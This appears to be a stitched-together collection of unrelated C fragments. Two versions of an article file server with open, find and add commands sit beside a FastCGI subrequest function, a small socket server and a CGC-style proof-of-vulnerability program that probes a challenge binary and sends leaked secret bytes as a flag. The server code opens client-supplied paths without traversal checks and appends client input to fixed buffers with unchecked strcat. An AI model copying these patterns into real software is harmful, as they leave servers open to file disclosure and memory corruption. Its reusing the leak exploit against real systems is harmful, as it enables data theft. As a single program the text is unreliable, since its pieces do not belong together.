int open_file(int sock, char *path, struct sockaddr_in *ptr_addr)
{
struct sockaddr_in addr;
addr = *ptr_addr;
FILE *fp;
int msg_size;
struct stat about_file;
char buffer[SIZE_STR], text[SIZE_CONTENT];
bzero(text, sizeof(text));
bzero(buffer, sizeof(buffer));
char *tmp = malloc(SIZE_BUF);
strcpy(tmp, START_PATH);
if (!strcmp(path, strcat(tmp, "..")))
{
send_content(sock, START_PATH, &addr);
free(tmp);
return 0;
}
free(tmp);
if ((fp = fopen(path, "r")) == NULL)
{
perror("Opening of file error");
send_content(sock, path, ptr_addr);
return -1;
}
fstat(fileno(fp), &about_file);
if ((about_file.st_mode & S_IFMT) != S_IFDIR)
{
int ch, i;
for (i = 0; i < (sizeof(text) - sizeof(char)) && (ch = getc(fp)) != EOF; i++)
{
if (ch == '\n')
ch = '|';
text[i] = ch;
}
strcat(text, "|");
if ((msg_size = sendto(sock, text, strlen(text), 0, (struct sockaddr*)&addr, sizeof(addr))) < 0)
{
perror("SEND content of file error");
exit(1);
}
printf("SEND [%d bytes]: content of file \n%s\n\n", msg_size, text);
dirname(path);
sendPath_recvReport(sock, path, &addr);
}
else
send_content(sock, path, &addr);
fclose(fp);
return 0;
}
int open_file(SOCKET sock, char *path)
{
FILE *fp;
int msg_size;
struct stat about_file;
char buffer[SIZE_STR], text[SIZE_CONTENT];
memset(text, 0, sizeof(text));
memset(buffer, 0, sizeof(buffer));
char *tmp = malloc(SIZE_BUF);
strcpy(tmp, START_PATH);
if (!strcmp(path, strcat(tmp, "..")))
{
send_content(sock, START_PATH);
free(tmp);
return 0;
}
free(tmp);
if ((fp = fopen(path, "r")) == NULL)
{
printf("Opening of file error: %d\n", WSAGetLastError());
send_content(sock, path);
return -1;
}
fstat(fileno(fp), &about_file);
if ((about_file.st_mode & S_IFMT) != S_IFDIR)
{
int ch, i;
for (i = 0; i < (sizeof(text) - sizeof(char)) && (ch = getc(fp)) != EOF; i++)
{
if (ch == '\n')
ch = '|';
text[i] = ch;
}
strcat(text, "|");
if ((msg_size = send(sock, text, strlen(text), 0)) == SOCKET_ERROR)
{
printf("SEND content of file error: %d\n", WSAGetLastError());
exit(1);
}
printf("SEND [%d bytes]: content of file \n%s\n\n", msg_size, text);
dirname(path);
sendPath_recvReport(sock, path);
}
else
send_content(sock, path);
fclose(fp);
return 0;
}
int
subreq_run(int id)
{
unsigned short request_id = id;
int sock = INVALID_SOCKET;
int connect_ret = connect_to_fpm(host, port, &sock);
if (connect_ret) {
return 1;
}
ssize_t begin_ret = begin_send(&sock, request_id);
if (!begin_ret) {
close(sock);
return 2;
}
ssize_t send_env_ret = send_env(&sock, *(keys_dict+id), *(vals_dict+id), len_dict[id], request_id);
if (!send_env_ret) {
close(sock);
return 3;
}
ssize_t send_content_ret = send_content(&sock, *(content_dict+id), request_id);
if (!send_content_ret) {
return 4;
}
struct myevent_s *ev;
struct epoll_event epv = {0, {0}};
epv.events = EPOLLIN;
ev = emalloc(sizeof(struct epoll_event));
ev->fd = sock;
ev->request_id = request_id;
epv.data.ptr = ev;
epoll_ctl(g_epoll_fd, EPOLL_CTL_ADD, sock, &epv);
return 0;
}
int main(int argc, char** argv) {
if (argc < 3) {
printf("Usage: ./hw2 <port> <path>\n");
}
int server_sock = socket(AF_INET, SOCK_STREAM, 0);
if(server_sock < 0) {
perror("Creating socket failed: ");
exit(1);
}
// allow fast reuse of ports
int reuse_true = 1;
setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, &reuse_true, sizeof(reuse_true));
struct sockaddr_in addr; // internet socket address data structure
addr.sin_family = AF_INET;
addr.sin_port = htons(atoi(argv[1])); // byte order is significant
addr.sin_addr.s_addr = INADDR_ANY; // listen to all interfaces
int res = bind(server_sock, (struct sockaddr*)&addr, sizeof(addr));
if(res < 0) {
perror("Error binding to port");
exit(1);
}
struct sockaddr_in remote_addr;
unsigned int socklen = sizeof(remote_addr);
res = listen(server_sock,0);
if(res < 0) {
perror("Error listening for connection");
exit(1);
}
while(1) {
// wait for a connection
int sock;
sock = accept(server_sock, (struct sockaddr*)&remote_addr, &socklen);
if(sock < 0) {
perror("Error accepting connection");
exit(1);
}
char buf[255];
memset(&buf,0,sizeof(buf));
int recv_count = recv(sock, buf, 255, 0);
if(recv_count<0) { perror("Receive failed"); exit(1); }
send_content(buf, sock, argv);
shutdown(sock,SHUT_RDWR);
close(sock);
}
shutdown(server_sock,SHUT_RDWR);
}
void *pthread_handler(void *ptr)
{
P_socket *data;
data = (P_socket *) ptr;
struct sockaddr_in addr = *(data->ptr_addr);
int sock = data->socket_fd;
int len = sizeof(addr);
int msg_size;
const char *invite_msg = "> ";
const char *exit_msg = "Bye-bye!!!|";
char path[SIZE_BUF];
char name[SIZE_STR];
char buffer[SIZE_BUF];
char author[SIZE_STR];
char content[SIZE_CONTENT];
while(strcmp(buffer, ":start"))
{
bzero(buffer, sizeof(buffer));
if ((msg_size = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, (socklen_t *)&len)) < 0)
{
perror("RECV start message error");
exit(1);
}
}
printf("RECV [%d bytes]: start message '%s'\n", msg_size, buffer);
send_content(sock, START_PATH, &addr);
strcpy(path, START_PATH);
while(1)
{
if ((msg_size = sendto(sock, invite_msg, strlen(invite_msg), 0, (struct sockaddr*)&addr, sizeof(addr))) < 0)
{
perror("SEND invitation message error");
exit(1);
}
printf("SEND [%d bytes]: invitation message '%s'\n", msg_size, invite_msg);
bzero(buffer, sizeof(buffer));
if ((msg_size = recvfrom(sock, buffer, sizeof(buffer), 0, (struct sockaddr*)&addr, (socklen_t *)&len)) < 0)
{
perror("RECV command error");
exit(1);
}
printf("RECV [%d bytes]: command '%s'\n", msg_size, buffer);
if (!strcmp(buffer, ":exit"))
{
if ((msg_size = sendto(sock, exit_msg, strlen(exit_msg), 0, (struct sockaddr*)&addr, sizeof(addr))) < 0)
{
perror("SEND directory content error");
exit(1);
}
printf("SEND [%d bytes]: directory content '%s'\n", msg_size, exit_msg);
break;
}
if (strcmp(buffer, "find") && strcmp(buffer, "open") && strcmp(buffer, "add"))
{
send_input_error(sock, &addr);
send_content(sock, path, &addr);
continue;
}
send_report(sock, SUCCESS, &addr);
if (!strcmp(buffer, "open"))
{
bzero(path, sizeof(path));
if ((msg_size = recvfrom(sock, path, sizeof(path), 0, (struct sockaddr*)&addr, (socklen_t *)&len)) < 0)
{
perror("RECV path to file error");
exit(1);
}
printf("RECV [%d bytes]: path to file message '%s'\n", msg_size, path);
open_file(sock, path, &addr);
}
if (!strcmp(buffer, "find"))
{
bzero(author, sizeof(author));
if ((msg_size = recvfrom(sock, author, sizeof(author), 0, (struct sockaddr*)&addr, (socklen_t *)&len)) < 0)
{
perror("RECV author to find error");
exit(1);
}
printf("RECV [%d bytes]: author to find '%s'\n", msg_size, author);
find_for_author(sock, path, author, &addr);
sendPath_recvReport(sock, path, &addr);
}
if (!strcmp(buffer, "add"))
{
bzero(name, sizeof(name));
if ((msg_size = recvfrom(sock, name, sizeof(name), 0, (struct sockaddr*)&addr, (socklen_t *)&len)) < 0)
{
perror("RECV name error");
exit(1);
}
printf("RECV [%d bytes]: name'%s'\n", msg_size, name);
char *dir = strdup(path);
strcat(path, name);
strcat(path, ".txt");
if (check_file_existence(path) < 0)
{
send_report(sock, UNSUCCESS, &addr);
recv_report(sock, &addr);
}
else
{
send_report(sock, SUCCESS, &addr);
bzero(author, sizeof(author));
if ((msg_size = recvfrom(sock, author, sizeof(author), 0, (struct sockaddr*)&addr, (socklen_t *)&len)) < 0)
{
perror("RECV author error");
exit(1);
}
printf("RECV [%d bytes]: author '%s'\n", msg_size, author);
send_report(sock, SUCCESS, &addr);
bzero(content, sizeof(content));
if ((msg_size = recvfrom(sock, content, sizeof(content), 0, (struct sockaddr*)&addr, (socklen_t *)&len)) < 0)
{
perror("RECV content of file error");
exit(1);
}
printf("RECV [%d bytes]: content of file '%s'\n", msg_size, content);
strcat(name, "\n");
strcat(author, "\n\n");
if (add_article(path, name, author, content) < 0)
send_report(sock, UNSUCCESS, &addr);
else
send_report(sock, SUCCESS, &addr);
recv_report(sock, &addr);
}
send_content(sock, dir, &addr);
dirname(path);
if (path[strlen(path) - 1] != '/')
strcat(path, "/");
}
}
/* int DAGRM_SIZE =16;
int NUM_SIZE = 3;
char _msg[1024] = "1234567890123456789012345678901234567890123456789012345678901234567890";
char dagrm[DAGRM_SIZE];
char *_ptr = _msg;
int num, size = 0;
int length = DAGRM_SIZE - NUM_SIZE - sizeof(char);
for (num = 0;_ptr <= &_msg[strlen(_msg) - 1];){
memset(dagrm, 0, sizeof(dagrm));
sprintf(dagrm, "%3x", num);
if (num == ((strlen(_msg) - 1)/(DAGRM_SIZE - NUM_SIZE - sizeof(char))))
dagrm[0] = '1';
strncat(dagrm, _ptr, length);
if ((msg_size = sendto(sock, dagrm, strlen(dagrm), 0, (struct sockaddr*)&addr, sizeof(addr))) < 0)
{
perror("SEND directory content error");
exit(1);
}
printf("SEND [%d bytes]: directory content '%s'\n", msg_size, dagrm);
if (recv_report(sock,&addr) == 0)
continue;
_ptr = _ptr + length;
size = size + length;
num++;
}*/
send_msg(sock, "Hello,world!Hello,World!!!", strlen("Hello,world!Hello,World!!!"), 0, (struct sockaddr*)&addr, sizeof(addr));
pthread_exit(0);
return 0;
}
int main(void) {
char *send_buf = NULL;
// negotiate type 2 vuln on fd 3
unsigned int neg[1] = {2};
// vals[0] == type2_addr, vals[1] == type2_size, vals[2] == type2_length
unsigned int vals[3] = {0};
if (sizeof(neg) != send_bytes(3, (const char *)neg, sizeof(neg))) {
_terminate(4);
}
if (sizeof(vals) != recv_bytes(3, (char *)vals, sizeof(vals))) {
_terminate(5);
}
// define random CONTENT_LEN between 10 and 255
rand(&CONTENT_LEN, 1);
if (10 > CONTENT_LEN) {
CONTENT_LEN += 10;
}
#ifdef DEBUG
fprintf(stderr, "CONTENT LEN...%i.\n", CONTENT_LEN);
#endif
if (0 != allocate(CONTENT_LEN, 0, (void **)&send_buf)) {
_terminate(6);
}
cgc_memset(secret, 0, RAND_PG_SZ);
cgc_memset(found, 0, RAND_PG_SZ);
// loop until have enough consecutive bytes
while (get_consecutive_cnt() < vals[2]) {
cgc_memset(send_buf, 0, CONTENT_LEN);
get_gimme_banner();
create_content(send_buf);
// set offset
// caution: this might insert TERM value into send_buf;
// but it shouldn't because index 3 will be recovered
// at the same time as index 0, so it should skip index 3.
*(unsigned short *)send_buf = get_first_empty_offset();
send_content(send_buf);
get_done_banner();
process_result(send_buf);
}
if (0 != deallocate(send_buf, CONTENT_LEN)) {
_terminate(7);
}
#ifdef DEBUG
fprintf(stderr, "SUBMIT FLAG...\n");
#endif
// submit secret bytes
#ifdef DEBUG
char *s_ptr = secret;
fprintf(stderr, "FLAG: ");
for (unsigned int i = 0; i < vals[2]; i++) {
fprintf(stderr, "%02x", (unsigned char) *s_ptr++);
}
fprintf(stderr, "\n");
#endif
if (vals[2] != send_bytes(3, secret, vals[2])) {
_terminate(10);
}
#ifdef DEBUG
fprintf(stderr, "sent\n");
#endif
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{
SOCKET sock=(SOCKET)lpParam;
int msg_size;
const char *invite_msg = "> ";
const char *exit_msg = "Bye-bye!!!|";
char path[SIZE_BUF];
char name[SIZE_STR];
char buffer[SIZE_BUF];
char author[SIZE_STR];
char content[SIZE_CONTENT];
while(strcmp(buffer, ":start"))
{
memset(buffer, 0, sizeof(buffer));
if ((msg_size = recv(sock, buffer, sizeof(buffer), 0)) == SOCKET_ERROR)
{
printf("Receive :start_msg failed: %d\n", WSAGetLastError());
exit(1);
}
}
buffer[msg_size] = '\0';
send_content(sock, START_PATH);
strcpy(path, START_PATH);
while(1)
{
if ((msg_size = send(sock, invite_msg, strlen(invite_msg), 0)) == SOCKET_ERROR)
{
printf("SEND invitation message error: %d\n", WSAGetLastError());
exit(1);
}
printf("SEND [%d bytes]: invitation message '%s'\n", msg_size, invite_msg);
memset(buffer, 0, sizeof(buffer));
if ((msg_size = recv(sock, buffer, sizeof(buffer), 0)) == SOCKET_ERROR)
{
printf("RECV command error: %d\n", WSAGetLastError());
exit(1);
}
printf("RECV [%d bytes]: command '%s'\n", msg_size, buffer);
if (!strcmp(buffer, ":exit"))
{
if ((msg_size = send(sock, exit_msg, strlen(exit_msg), 0)) == SOCKET_ERROR)
{
printf("SEND directory content error: %d\n", WSAGetLastError());
exit(1);
}
printf("SEND [%d bytes]: directory content '%s'\n", msg_size, exit_msg);
break;
}
if (strcmp(buffer, "find") && strcmp(buffer, "open") && strcmp(buffer, "add"))
{
send_input_error(sock);
send_content(sock, path);
continue;
}
send_report(sock, SUCCESS);
if (!strcmp(buffer, "open"))
{
memset(path, 0, sizeof(path));
if ((msg_size = recv(sock, path, sizeof(path), 0)) == SOCKET_ERROR)
{
printf("RECV path to file error: %d\n", WSAGetLastError());
exit(1);
}
printf("RECV [%d bytes]: path to file message '%s'\n", msg_size, path);
open_file(sock, path);
}
if (!strcmp(buffer, "find"))
{
memset(author, 0,sizeof(author));
if ((msg_size = recv(sock, author, sizeof(author), 0)) == SOCKET_ERROR)
{
printf("RECV author to find error: %d\n", WSAGetLastError());
exit(1);
}
printf("RECV [%d bytes]: author to find '%s'\n", msg_size, author);
find_for_author(sock, path, author);
sendPath_recvReport(sock, path);
}
if (!strcmp(buffer, "add"))
{
memset(name, 0,sizeof(name));
if ((msg_size = recv(sock, name, sizeof(name), 0)) == SOCKET_ERROR)
{
printf("RECV name error: %d\n", WSAGetLastError());
exit(1);
}
printf("RECV [%d bytes]: name'%s'\n", msg_size, name);
char *dir = strdup(path);
strcat(path, name);
strcat(path, ".txt");
if (check_file_existence(path) < 0)
{
send_report(sock, UNSUCCESS);
recv_report(sock);
}
else
{
send_report(sock, SUCCESS);
memset(author,0, sizeof(author));
if ((msg_size = recv(sock, author, sizeof(author), 0)) == SOCKET_ERROR)
{
printf("RECV author error: %d\n", WSAGetLastError());
exit(1);
}
printf("RECV [%d bytes]: author '%s'\n", msg_size, author);
send_report(sock, SUCCESS);
memset(content, 0,sizeof(content));
if ((msg_size = recv(sock, content, sizeof(content), 0)) == SOCKET_ERROR)
{
printf("RECV content of file error: %d\n", WSAGetLastError());
exit(1);
}
printf("RECV [%d bytes]: content of file '%s'\n", msg_size, content);
strcat(name, "\n");
strcat(author, "\n\n");
if (add_article(path, name, author, content) < 0)
send_report(sock, UNSUCCESS);
else
send_report(sock, SUCCESS);
recv_report(sock);
}
send_content(sock, dir);
dirname(path);
if (path[strlen(path) - 1] != '/')
strcat(path, "/");
}
}
return 0;
}
